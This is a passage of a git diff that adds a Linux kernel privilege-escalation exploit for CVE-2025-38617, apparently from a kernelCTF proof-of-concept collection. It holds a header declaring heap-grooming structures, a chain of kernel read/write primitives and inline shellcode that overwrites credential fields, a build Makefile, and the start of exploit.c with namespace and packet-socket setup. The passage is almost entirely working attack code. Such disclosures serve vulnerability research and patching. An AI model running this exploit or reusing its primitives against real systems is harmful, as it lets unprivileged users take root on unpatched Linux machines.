char *path, const char *name, const void *value, size_t size, int flags); +ssize_t Getxattr(const char *path, const char *name, void *value, size_t size); +void Removexattr(const char *path, const char *name); +char *Strdup(const char *s); +ssize_t Read(int fd, void *buf, size_t count); +ssize_t Write(int fd, const void *buf, size_t count); +/* libc wrapper */ + +/* libmnl wrapper */ +struct mnl_socket *Mnl_socket_open(int bus); +void Mnl_socket_close(struct mnl_socket *nl); +void Mnl_socket_bind(struct mnl_socket *nl, unsigned int groups, pid_t pid); +ssize_t Mnl_socket_sendto(const struct mnl_socket *nl, const void *req, size_t size); +ssize_t Mnl_socket_recvfrom(const struct mnl_socket *nl, void *buf, size_t size); +/* libmnl wrapper */ + +void validate_mnl_socket_operation_success(struct mnl_socket *nl, u32 seq); +void dummy_network_interface_create(const char *ifname, u32 mtu); +void network_interface_up(int configure_socket_fd, const char *ifname); +void network_interface_down(int configure_socket_fd, const char *ifname); +void pin_thread_on_cpu(int cpu); + +void setup_namespace(void); +void setup_tmpfs(void); +void setup_nofile_rlimit(void); +void create_file(const char *path); +bool thread_in_sleep_state(int tid); +void alloc_pages(int packet_socket, unsigned page_count, unsigned page_size); +void free_pages(int packet_socket); + +struct victim_packet_socket { + struct __kernel_sock_timeval sndtimeo; + struct sockaddr_ll addr; + struct tpacket_req3 tx_ring; + struct tpacket_req3 rx_ring; + int fd; + int packet_loss; + int packet_version; + unsigned packet_reserve; + unsigned short filter_len; + struct sock_filter *filter; +}; + +struct victim_packet_socket *victim_packet_socket_create( + struct __kernel_sock_timeval sndtimeo, + struct sockaddr_ll addr, + struct tpacket_req3 tx_ring, + struct tpacket_req3 rx_ring, + int packet_loss, + int packet_version, + unsigned packet_reserve, + unsigned short filter_len, + struct sock_filter *filter +); + +void victim_packet_socket_destroy(struct victim_packet_socket *v); +void victim_packet_socket_configure_for_exploit(struct victim_packet_socket *v); + +struct simple_xattr_request { + char filepath[PATH_MAX]; + char name[XATTR_NAME_MAX + 1]; + char *value; + size_t value_size; +}; + +struct simple_xattr_request *simple_xattr_request_create( + const char *filepath, + const char *name, + const char *value, + size_t value_size +); + +void simple_xattr_request_destroy(struct simple_xattr_request *request); + +struct simple_xattr_request_container { + struct simple_xattr_request **requests; + size_t requests_size; + size_t requests_length; +}; + +struct simple_xattr_request_container *simple_xattr_request_container_create(size_t size); +void simple_xattr_request_container_insert( + struct simple_xattr_request_container *container, + struct simple_xattr_request *request +); + +struct simple_xattr_request *simple_xattr_request_container_pop_at( + struct simple_xattr_request_container *container, + size_t idx +); + +ssize_t simple_xattr_request_container_search_by_value( + struct simple_xattr_request_container *container, + const char *search_value, + size_t search_value_size +); + +struct simple_xattr_request_container *simple_xattr_request_container_clone( + struct simple_xattr_request_container *container +); + +void simple_xattr_request_container_destroy(struct simple_xattr_request_container *container); + +struct simple_xattr_thread_work { + struct { + bool page_groom; + + struct simple_xattr_request_container *container_for_page_groom; + }; + + bool free_placeholder; + + struct { + bool free_and_reclaim_leak_page; + void *leak_data; + size_t leak_data_size; + struct simple_xattr_request_container *container_for_reclaim_leak_page; + }; + + struct { + bool cleanup; + struct simple_xattr_request_container *container_for_cleanup; + }; +}; + +struct simple_xattr_thread_work *simple_xattr_thread_work_create( + bool page_groom, + struct simple_xattr_request_container *container_for_page_groom, + bool free_placeholder, + bool free_and_reclaim_leak_page, + void *leak_data, + size_t leak_data_size, + struct simple_xattr_request_container *container_for_reclaim_leak_page, + bool cleanup, + struct simple_xattr_request_container *container_for_cleanup +); + +void simple_xattr_thread_work_destroy(struct simple_xattr_thread_work *w); + +struct simple_xattr_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool ready_to_work; + bool work_complete; + bool unshare_complete; + bool quit; + struct simple_xattr_thread_work *work; +}; + +void *simple_xattr_thread_fn(void *arg); +void simple_xattr_thread_send_work(struct simple_xattr_thread *t, struct simple_xattr_thread_work *w); +void simple_xattr_thread_wait_work_complete(struct simple_xattr_thread *t); +void simple_xattr_thread_quit(struct simple_xattr_thread *t); +struct simple_xattr_thread *simple_xattr_thread_create(void); +void simple_xattr_thread_destroy(struct simple_xattr_thread *t); + +struct timerfd_waitlist_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool ready_to_work; + bool work_complete; + bool unshare_complete; + bool quit; + int timerfd; + int *timerfds; + int total_timerfd; + struct epoll_event *epoll_events; +}; + +void *timerfd_waitlist_thread_fn(void *arg); +void timerfd_waitlist_thread_wait_unshare_complete(struct timerfd_waitlist_thread *t); +int timerfd_waitlist_thread_get_timerfd(struct timerfd_waitlist_thread *t); +void timerfd_waitlist_thread_send_work(struct timerfd_waitlist_thread *t); +void timerfd_waitlist_thread_wait_work_complete(struct timerfd_waitlist_thread *t); +void timerfd_waitlist_thread_quit(struct timerfd_waitlist_thread *t); +struct timerfd_waitlist_thread *timerfd_waitlist_thread_create(int timerfd); +void timerfd_waitlist_thread_destroy(struct timerfd_waitlist_thread *t); + +struct pg_vec_lock_thread_work { + struct victim_packet_socket *victim_packet_socket; + int ifindex; +}; + +struct pg_vec_lock_thread_work *pg_vec_lock_thread_work_create(struct victim_packet_socket *v, int ifindex); +void pg_vec_lock_thread_work_destroy(struct pg_vec_lock_thread_work *w); + +struct pg_vec_lock_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool ready_to_work; + bool work_complete; + bool quit; + int tid; + int packet_socket; + int ifindex; + struct timespec sendmsg_begin_time; + struct pg_vec_lock_thread_work *work; +}; + +void *pg_vec_lock_thread_fn(void *arg); +void pg_vec_lock_thread_send_work(struct pg_vec_lock_thread *t, struct pg_vec_lock_thread_work *w); +void pg_vec_lock_thread_wait_in_work(struct pg_vec_lock_thread *t); +void pg_vec_lock_thread_wait_work_complete(struct pg_vec_lock_thread *t); +void pg_vec_lock_thread_quit(struct pg_vec_lock_thread *t); +struct pg_vec_lock_thread *pg_vec_lock_thread_create(void); +void pg_vec_lock_thread_destroy(struct pg_vec_lock_thread *t); + +struct pg_vec_buffer_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool ready_to_work; + bool work_complete; + bool unshare_complete; + bool quit; + int tid; + struct pg_vec_buffer_thread_work *work; +}; + +struct pg_vec_buffer_thread_work { + struct victim_packet_socket *victim_packet_socket; + bool exploit; + bool cleanup; +}; + +struct pg_vec_buffer_thread_work *pg_vec_buffer_thread_work_create( + struct victim_packet_socket *v, + bool exploit, + bool cleanup +); +void pg_vec_buffer_thread_work_destroy(struct pg_vec_buffer_thread_work *w); + +void *pg_vec_buffer_thread_fn(void *arg); +void pg_vec_buffer_thread_send_work(struct pg_vec_buffer_thread *t, struct pg_vec_buffer_thread_work *w); +void pg_vec_buffer_thread_wait_in_work(struct pg_vec_buffer_thread *t); +void pg_vec_buffer_thread_wait_work_complete(struct pg_vec_buffer_thread *t); +void pg_vec_buffer_thread_quit(struct pg_vec_buffer_thread *t); +struct pg_vec_buffer_thread *pg_vec_buffer_thread_create(void); +void pg_vec_buffer_thread_destroy(struct pg_vec_buffer_thread *t); + +struct tpacket_rcv_thread_work { + struct timespec pg_vec_lock_release_time; + struct msghdr *msg; +}; + +struct tpacket_rcv_thread_work *tpacket_rcv_thread_work_create( + struct timespec pg_vec_lock_release_time, + struct msghdr *msg +); + +void tpacket_rcv_thread_work_destroy(struct tpacket_rcv_thread_work *w); + +struct tpacket_rcv_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool ready_to_work; + bool work_complete; + bool quit; + struct tpacket_rcv_thread_work *work; +}; + +void *tpacket_rcv_thread_fn(void *arg); +void tpacket_rcv_thread_send_work(struct tpacket_rcv_thread *t, struct tpacket_rcv_thread_work *w); +void tpacket_rcv_thread_wait_work_complete(struct tpacket_rcv_thread *t); +void tpacket_rcv_thread_quit(struct tpacket_rcv_thread *t); +struct tpacket_rcv_thread *tpacket_rcv_thread_create(void); +void tpacket_rcv_thread_destroy(struct tpacket_rcv_thread *t); + +struct msghdr *msghdr_create( + void *data, + size_t datalen, + const char *devname +); + +void msghdr_destroy(struct msghdr *msghdr); + +static inline struct timespec timespec_sub(struct timespec t1, struct timespec t2) +{ + struct timespec diff = {}; + diff.tv_nsec = t1.tv_nsec - t2.tv_nsec; + diff.tv_sec = t1.tv_sec - t2.tv_sec; + + if (diff.tv_sec > 0 && diff.tv_nsec < 0) { + diff.tv_nsec += NSEC_PER_SEC; + diff.tv_sec--; + } else if (diff.tv_sec < 0 && diff.tv_nsec > 0) { + diff.tv_nsec -= NSEC_PER_SEC; + diff.tv_sec++; + } + + return diff; +} + +static inline struct timespec timespec_add(struct timespec t1, struct timespec t2) +{ + struct timespec sum = {}; + sum.tv_nsec = t1.tv_nsec + t2.tv_nsec; + sum.tv_sec = t1.tv_sec + t2.tv_sec; + + if (sum.tv_nsec >= NSEC_PER_SEC) { + sum.tv_sec++; + sum.tv_nsec -= NSEC_PER_SEC; + } + + return sum; +} + +static inline int timespec_cmp(struct timespec t1, struct timespec t2) +{ + if (t1.tv_sec < t2.tv_sec) + return -1; + + if (t1.tv_sec > t2.tv_sec) + return 1; + + if (t1.tv_nsec < t2.tv_nsec) + return -1; + + if (t1.tv_nsec > t2.tv_nsec) + return 1; + + return 0; +} + +struct necessary_threads { + struct timerfd_waitlist_thread **timerfd_waitlist_threads; + struct pg_vec_lock_thread *pg_vec_lock_thread; + struct pg_vec_buffer_thread *pg_vec_buffer_thread; + struct tpacket_rcv_thread *tpacket_rcv_thread; +}; + +struct necessary_threads *necessary_threads_create(int timerfd); +void necessary_threads_destroy(struct necessary_threads *nt); + +struct pages_order3_read_primitive { + struct simple_xattr_request *victim_request; + struct simple_xattr_request *leaked_content_request; + struct simple_xattr_request *leaked_address_request; + struct simple_xattr_request_container *groom_container; + struct simple_xattr_request_container *reclaim_drain_pages_container; + struct necessary_threads *necessary_threads; + int drain_order3_pages_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR]; + int placeholder_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR]; + int configure_network_interface_socket; + int timerfd; +}; + +struct pages_order3_read_primitive *pages_order3_read_primitive_create( + struct necessary_threads *necessary_threads, + int configure_network_interface_socket, + int timerfd +); + +void pages_order3_read_primitive_destroy(struct pages_order3_read_primitive *pages_order3_read_primitive); + +bool pages_order3_read_primitive_build_primitive( + struct pages_order3_read_primitive *pages_order3_read_primitive, + struct timespec timer_interrupt_amplitude +); +void *pages_order3_read_primitive_trigger(struct pages_order3_read_primitive *pages_order3_read_primitive); +bool pages_order3_read_primitive_build_leaked_simple_xattr( + struct pages_order3_read_primitive *pages_order3_read_primitive +); + +u64 pages_order3_read_primitive_leak_pages_order3_simple_xattr_address( + struct pages_order3_read_primitive *pages_order3_read_primitive +); + +static inline struct simple_xattr_request *pages_order3_read_primitive_transfer_leaked_address_request_owner( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + struct simple_xattr_request *leaked_address_request = pages_order3_read_primitive->leaked_address_request; + pages_order3_read_primitive->leaked_address_request = NULL; + + if (leaked_address_request == pages_order3_read_primitive->victim_request) + pages_order3_read_primitive->victim_request = NULL; + + return leaked_address_request; +} + +void pages_order3_read_primitive_cleanup_unused_simple_xattr( + struct pages_order3_read_primitive *pages_order3_read_primitive +); + +void pages_order3_read_primitive_cleanup_unused_packet_sockets( + struct pages_order3_read_primitive *pages_order3_read_primitive +); + +enum leak_data_kind { + LEAK_DATA_SIMPLE_XATTR, + LEAK_DATA_PAGE_DRAIN, + LEAK_DATA_UNKNOWN +}; + +static inline int pages_order3_leak_data_kind(void *leak_data) +{ + if (is_data_look_like_simple_xattr(leak_data, PAGES_ORDER2_SIZE)) + return LEAK_DATA_SIMPLE_XATTR; + + if (strncmp( + leak_data, + DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_BEGIN, + strlen(DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_BEGIN) + ) == 0) + return LEAK_DATA_PAGE_DRAIN; + + return LEAK_DATA_UNKNOWN; +} + +struct simple_xattr_read_write_primitive { + u64 pages_order3_simple_xattr_kernel_address; + struct simple_xattr_request *pages_order3_simple_xattr_request; + u64 pages_order5_simple_xattr_kernel_address; + struct simple_xattr_request *pages_order5_simple_xattr_request; + struct necessary_threads *necessary_threads; + int victim_packet_socket; + int drain_order3_pages_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_PGV]; + int placeholder_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_PGV]; + int spray_pgv_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_PGV * TOTAL_PGV_SPRAY_PER_GROOM]; + int configure_network_interface_socket; + int timerfd; +}; + +struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive_create( + struct necessary_threads *necessary_threads, + struct simple_xattr_request *pages_order3_simple_xattr_request, + u64 pages_order3_simple_xattr_kernel_address, + int configure_network_interface_socket, + int timerfd +); + +void simple_xattr_read_write_primitive_destroy( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +); + +bool simple_xattr_read_write_primitive_build_primitive( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive, + struct timespec timer_interrupt_amplitude +); + +void simple_xattr_read_write_primitive_build_pages_order5_simple_xattr( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +); + +void *simple_xattr_read_write_primitive_mmap( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +); + +void simple_xattr_read_write_primitive_munmap( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive, + void *mmap_addr +); + +struct abr_page_read_write_primitive { + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive; + int overwrite_pgv_packet_socket; + int allocate_pgv_packet_socket; + u64 pgv_kernel_address; + struct simple_xattr_request *pages_order5_simple_xattr_request; + u64 pages_order5_simple_xattr_address; +}; + +struct abr_page_read_write_primitive *abr_page_read_write_primitive_create( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +); + +bool abr_page_read_write_primitive_build_primitive(struct abr_page_read_write_primitive *abr_page_read_write_primitive); +void *abr_page_read_write_primitive_page_mmap( + struct abr_page_read_write_primitive *abr_page_read_write_primitive, + u64 addr_to_mmap +); + +void abr_page_read_write_primitive_page_munmap( + struct abr_page_read_write_primitive *abr_page_read_write_primitive, + void *mmap_addr +); + +struct pipe_buffer_read_write_primitive { + struct abr_page_read_write_primitive *abr_page_read_write_primitive; + int pipe_fds[2]; + u64 pipe_buffer_address; +}; + +struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive_create( + struct abr_page_read_write_primitive *abr_page_read_write_primitive +); + +bool pipe_buffer_read_write_primitive_build_primitive( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive +); + +struct pipe_buffer *pipe_buffer_read_write_primitive_page_mmap( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive +); + +void pipe_buffer_read_write_primitive_page_munmap( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive, + void *mmap_addr +); + +extern void privilege_escalation_shellcode_begin(void); +extern void privilege_escalation_shellcode_end(void); + +__asm__( + ".intel_syntax noprefix;" + ".global privilege_escalation_shellcode_begin;" + ".global privilege_escalation_shellcode_end;" + + "privilege_escalation_shellcode_begin:\n" + + "mov rax, QWORD PTR gs:0x20c80;" + "shl rdi, 32;" + "shl rsi, 32;" + "shr rsi, 32;" + "or rdi, rsi;" + "mov QWORD PTR [rax + 0x7d8], rdi;" + "mov QWORD PTR [rax + 0x7d0], rdi;" + "mov QWORD PTR [rax + 0x828], rcx;" + "jmp r8;" + + "privilege_escalation_shellcode_end:\n" + ".att_syntax;" +); + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/Makefile b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/Makefile new file mode 100644 index 000000000..ef7092f45 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/Makefile @@ -0,0 +1,32 @@ +# taken from: https://github.com/google/security-research/blob/1bb2f8c8d95a34cafe7861bc890cfba5d85ec141/pocs/linux/kernelctf/CVE-2024-0193_lts/exploit/lts-6.1.67/Makefile + +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +LIBS = -L$(LIBMNL_DIR)/install/lib -lmnl +INCLUDES = -I$(LIBMNL_DIR)/libmnl-1.0.5/include +CFLAGS = -static + +exploit: exploit.c + gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) + + +prerequisites: libmnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +run: + ./exploit + +clean: + rm -f exploit + rm -rf $(LIBMNL_DIR) diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/exploit b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/exploit new file mode 100644 index 000000000..5736d713d Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/exploit.c b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/exploit.c new file mode 100644 index 000000000..5e018de37 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/exploit.c @@ -0,0 +1,2417 @@ +#include "exploit.h" + +void unix_error(const char *msg) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(errno)); + exit(EXIT_FAILURE); +} + +void Mnl_socket_error(const char *msg) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(errno)); + exit(EXIT_FAILURE); +} + +void Pthread_error(const char *msg, int error_code) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(error_code)); + exit(EXIT_FAILURE); +} + +void Unshare(int flags) +{ + if (unshare(flags) < 0) + unix_error("unshare"); +} + +int Socket(int domain, int type, int protocol) +{ + int fd = socket(domain, type, protocol); + if (fd < 0) + unix_error("socket"); + return fd; +} + +void Setsockopt(int fd, int level, int optname, const void *optval, socklen_t optlen) +{ + if (setsockopt(fd, level, optname, optval, optlen) < 0) + unix_error("setsockopt"); +} + +void Getsockopt(int fd, int level, int optname, void *optval, socklen_t *optlen) +{ + if (getsockopt(fd, level, optname, optval, optlen) < 0) + unix_error("getsockopt"); +} + +void Bind(int fd, const struct sockaddr *addr, socklen_t addrlen) +{ + if (bind(fd, addr, addrlen) < 0) + unix_error("bind"); +} + +void Ioctl(int fd, unsigned long request, unsigned long arg) +{ + if (ioctl(fd, request, arg) < 0) + unix_error("ioctl"); +} + +void Close(int fd) +{ + if (close(fd) < 0) + unix_error("close"); +} + +int Dup(int fd) +{ + int newfd = dup(fd); + if (newfd < 0) + unix_error("dup"); + return newfd; +} + +void Pipe2(int pipefd[2], int flags) +{ + if (pipe2(pipefd, flags) < 0) + unix_error("pipe2"); +} + +int Fcntl(int fd, int op, unsigned long arg) +{ + int ret = fcntl(fd, op, arg); + if (ret < 0) + unix_error("fcntl"); + return ret; +} + +void *Mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) +{ + void *m = mmap(addr, len, prot, flags, fd, offset); + if (m == MAP_FAILED) + unix_error("mmap"); + return m; +} + +void Munmap(void *addr, size_t len) +{ + if (munmap(addr, len) < 0) + unix_error("munmap"); +} + +FILE *Fopen(const char *filename, const char *modes) +{ + FILE *f = fopen(filename, modes); + if (f == NULL) + unix_error("fopen"); + return f; +} + +void Fclose(FILE *stream) +{ + if (fclose(stream) != 0) + unix_error("fclose"); +} + +void *Calloc(size_t nmemb, size_t size) +{ + void *p = calloc(nmemb, size); + if (p == NULL) + unix_error("calloc"); + return p; +} + +ssize_t Sendmsg(int socket, const struct msghdr *message, int flags) +{ + ssize_t ret = sendmsg(socket, message, flags); + if (ret < 0) + unix_error("sendmsg"); + return ret; +} + +void Pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg) +{ + int ret = pthread_create(newthread, attr, start_routine, arg); + if (ret != 0) + Pthread_error("pthread_create", ret); +} + +void Pthread_join(pthread_t thread, void **retval) +{ + int ret = pthread_join(thread, retval); + if (ret != 0) + Pthread_error("pthread_join", ret); +} + +void Pthread_setaffinity_np(pthread_t thread, size_t cpusetsize, const cpu_set_t *cpuset) +{ + int ret = pthread_setaffinity_np(thread, cpusetsize, cpuset); + if (ret != 0) + Pthread_error("pthread_setaffinity_np", ret); +} + +void Getrlimit(int resource, struct rlimit *rlim) +{ + if (getrlimit(resource, rlim) < 0) + unix_error("getrlimit"); +} + +void Setrlimit(int resource, const struct rlimit *rlim) +{ + if (setrlimit(resource, rlim) < 0) + unix_error("setrlimit"); +} + +void Setpriority(int which, id_t who, int value) +{ + if (setpriority(which, who, value) < 0) + unix_error("setpriority"); +} + +int Timerfd_create(int clockid, int flags) +{ + int timerfd = timerfd_create(clockid, flags); + if (timerfd < 0) + unix_error("timerfd_create"); + return timerfd; +} + +void Timerfd_settime(int fd, int flags, const struct itimerspec *new_value, struct itimerspec *old_value) +{ + if (timerfd_settime(fd, flags, new_value, old_value) < 0) + unix_error("timerfd_settime"); +} + +int Epoll_create1(int flags) +{ + int epfd = epoll_create1(flags); + if (epfd < 0) + unix_error("epoll_create1"); + return epfd; +} + +void Epoll_ctl(int epfd, int op, int fd, struct epoll_event *event) +{ + if (epoll_ctl(epfd, op, fd, event) < 0) + unix_error("epoll_ctl"); +} + +unsigned int If_nametoindex(const char *ifname) +{ + unsigned int ifindex = if_nametoindex(ifname); + if (ifindex == 0) + unix_error("if_nametoindex"); + return ifindex; +} + +void Mkdir(const char *pathname, mode_t mode) +{ + if (mkdir(pathname, mode) < 0) + unix_error("mkdir"); +} + +void Mount(const char *source, const char *target, const char *filesystemtype, unsigned long mountflags, const void *data) +{ + if (mount(source, target, filesystemtype, mountflags, data) < 0) + unix_error("mount"); +} + +int Open(const char *pathname, int flags, mode_t mode) +{ + int fd = open(pathname, flags, mode); + if (fd < 0) + unix_error("open"); + return fd; +} + +void Setxattr(const char *path, const char *name, const void *value, size_t size, int flags) +{ + if (setxattr(path, name, value, size, flags) < 0) + unix_error("setxattr"); +} + +ssize_t Getxattr(const char *path, const char *name, void *value, size_t size) +{ + ssize_t ret = getxattr(path, name, value, size); + if (ret < 0) + unix_error("getxattr"); + return ret; +} + +void Removexattr(const char *path, const char *name) +{ + if (removexattr(path, name) < 0) + unix_error("removexattr"); +} + +char *Strdup(const char *s) +{ + char *s1 = strdup(s); + if (s1 == NULL) + unix_error("strdup"); + return s1; +} + +ssize_t Read(int fd, void *buf, size_t count) +{ + ssize_t ret = read(fd, buf, count); + if (ret < 0) + unix_error("read"); + return ret; +} + +ssize_t Write(int fd, const void *buf, size_t count) +{ + ssize_t ret = write(fd, buf, count); + if (ret < 0) + unix_error("write"); + return ret; +} + +struct mnl_socket *Mnl_socket_open(int bus) +{ + struct mnl_socket *nl = mnl_socket_open(bus); + if (nl == NULL) + Mnl_socket_error("mnl_socket_open"); + return nl; +} + +void Mnl_socket_close(struct mnl_socket *nl) +{ + if (mnl_socket_close(nl) < 0) + Mnl_socket_error("mnl_socket_close"); +} + +void Mnl_socket_bind(struct mnl_socket *nl, unsigned int groups, pid_t pid) +{ + if (mnl_socket_bind(nl, groups, pid) < 0) + Mnl_socket_error("mnl_socket_bind"); +} + +ssize_t Mnl_socket_sendto(const struct mnl_socket *nl, const void *req, size_t size) +{ + ssize_t rc = mnl_socket_sendto(nl, req, size); + if (rc < 0) + Mnl_socket_error("mnl_socket_sendto"); + return rc; +} + +ssize_t Mnl_socket_recvfrom(const struct mnl_socket *nl, void *buf, size_t size) +{ + ssize_t rc = mnl_socket_recvfrom(nl, buf, size); + if (rc < 0) + Mnl_socket_error("mnl_socket_recvfrom"); + return rc; +} + +void validate_mnl_socket_operation_success(struct mnl_socket *nl, u32 seq) +{ + u8 buf[8192] = {}; + u32 portid = mnl_socket_get_portid(nl); + ssize_t ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + + while (ret > 0) { + ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL); + if (ret <= 0) + break; + ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + } + + if (ret < 0) + exit(EXIT_FAILURE); +} + +void dummy_network_interface_create(const char *ifname, u32 mtu) +{ + struct mnl_socket *nl = Mnl_socket_open(NETLINK_ROUTE); + Mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID); + u32 seq = time(NULL); + u8 buf[8192] = {}; + + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_NEWLINK; + nlh->nlmsg_seq = seq; + nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_CREATE; + + struct ifinfomsg *ifm = mnl_nlmsg_put_extra_header(nlh, sizeof(*ifm)); + mnl_attr_put_strz(nlh, IFLA_IFNAME, ifname); + mnl_attr_put_u32(nlh, IFLA_MTU, mtu); + + struct nlattr *linkinfo = mnl_attr_nest_start(nlh, IFLA_LINKINFO); + mnl_attr_put_strz(nlh, IFLA_INFO_KIND, "dummy"); + mnl_attr_nest_end(nlh, linkinfo); + + Mnl_socket_sendto(nl, nlh, nlh->nlmsg_len); + validate_mnl_socket_operation_success(nl, seq); + Mnl_socket_close(nl); +} + +void network_interface_up(int configure_socket_fd, const char *ifname) +{ + struct ifreq ifr = {}; + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + Ioctl(configure_socket_fd, SIOCGIFFLAGS, (unsigned long)&ifr); + + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + ifr.ifr_flags |= (IFF_UP | IFF_RUNNING); + Ioctl(configure_socket_fd, SIOCSIFFLAGS, (unsigned long)&ifr); +} + +void network_interface_down(int configure_socket_fd, const char *ifname) +{ + struct ifreq ifr = {}; + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + Ioctl(configure_socket_fd, SIOCGIFFLAGS, (unsigned long)&ifr); + + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + ifr.ifr_flags &= (~IFF_UP); + Ioctl(configure_socket_fd, SIOCSIFFLAGS, (unsigned long)&ifr); +} + +void pin_thread_on_cpu(int cpu) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(cpu, &cpuset); + + pthread_t current_thread = pthread_self(); + Pthread_setaffinity_np(current_thread, sizeof(cpu_set_t), &cpuset); +} + +void setup_namespace(void) +{ + int uid = getuid(); + int gid = getgid(); + + Unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS); + + FILE *f = NULL; + f = Fopen("/proc/self/uid_map", "w"); + fprintf(f, "0 %d 1\n", uid); + Fclose(f); + + f = Fopen("/proc/self/setgroups", "w"); + fprintf(f, "deny\n"); + Fclose(f); + + f = Fopen("/proc/self/gid_map", "w"); + fprintf(f, "0 %d 1\n", gid); + Fclose(f); +} + +void setup_tmpfs(void) +{ + Mkdir(TMPFS_MOUNT_POINT, 0644); + Mount("none", TMPFS_MOUNT_POINT, "tmpfs", 0, NULL); + create_file(PAGES_ORDER3_GROOM_SIMPLE_XATTR_FILEPATH); + create_file(PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_FILEPATH); +} + +void setup_nofile_rlimit(void) +{ + struct rlimit nofile_rlimit = {}; + Getrlimit(RLIMIT_NOFILE, &nofile_rlimit); + nofile_rlimit.rlim_cur = nofile_rlimit.rlim_max; + Setrlimit(RLIMIT_NOFILE, &nofile_rlimit); +} + +void create_file(const char *path) +{ + int fd = Open(path, O_WRONLY | O_CREAT, 0644); + Close(fd); +} + +bool thread_in_sleep_state(int tid) +{ + char proc_path[4096] = {}; + char line_buffer[4096] = {}; + + snprintf(proc_path, sizeof(proc_path), "/proc/%d/stat", tid); + FILE *f = Fopen(proc_path, "r"); + + if (!fgets(line_buffer, sizeof(line_buffer), f)) { + Fclose(f); + return false; + } + + char *p = line_buffer; + int space_count = 0; + while (*p != '\0' && space_count != 2) { + if (*p == ' ') { + space_count++; + } + + p++; + } + + Fclose(f); + + if (*p == 'S' || *p == 'D') { + return true; + } + + return false; +} + +void alloc_pages(int packet_socket, unsigned page_count, unsigned page_size) +{ + struct tpacket_req tx_ring_req = {}; + tx_ring_req.tp_block_nr = page_count; + tx_ring_req.tp_block_size = page_size; + tx_ring_req.tp_frame_size = page_size; + tx_ring_req.tp_frame_nr = tx_ring_req.tp_block_size / tx_ring_req.tp_frame_size * tx_ring_req.tp_block_nr; + Setsockopt(packet_socket, SOL_PACKET, PACKET_TX_RING, &tx_ring_req, sizeof(tx_ring_req)); +} + +void free_pages(int packet_socket) +{ + struct tpacket_req tx_ring_req = {}; + Setsockopt(packet_socket, SOL_PACKET, PACKET_TX_RING, &tx_ring_req, sizeof(tx_ring_req)); +} + +struct victim_packet_socket *victim_packet_socket_create( + struct __kernel_sock_timeval sndtimeo, + struct sockaddr_ll addr, + 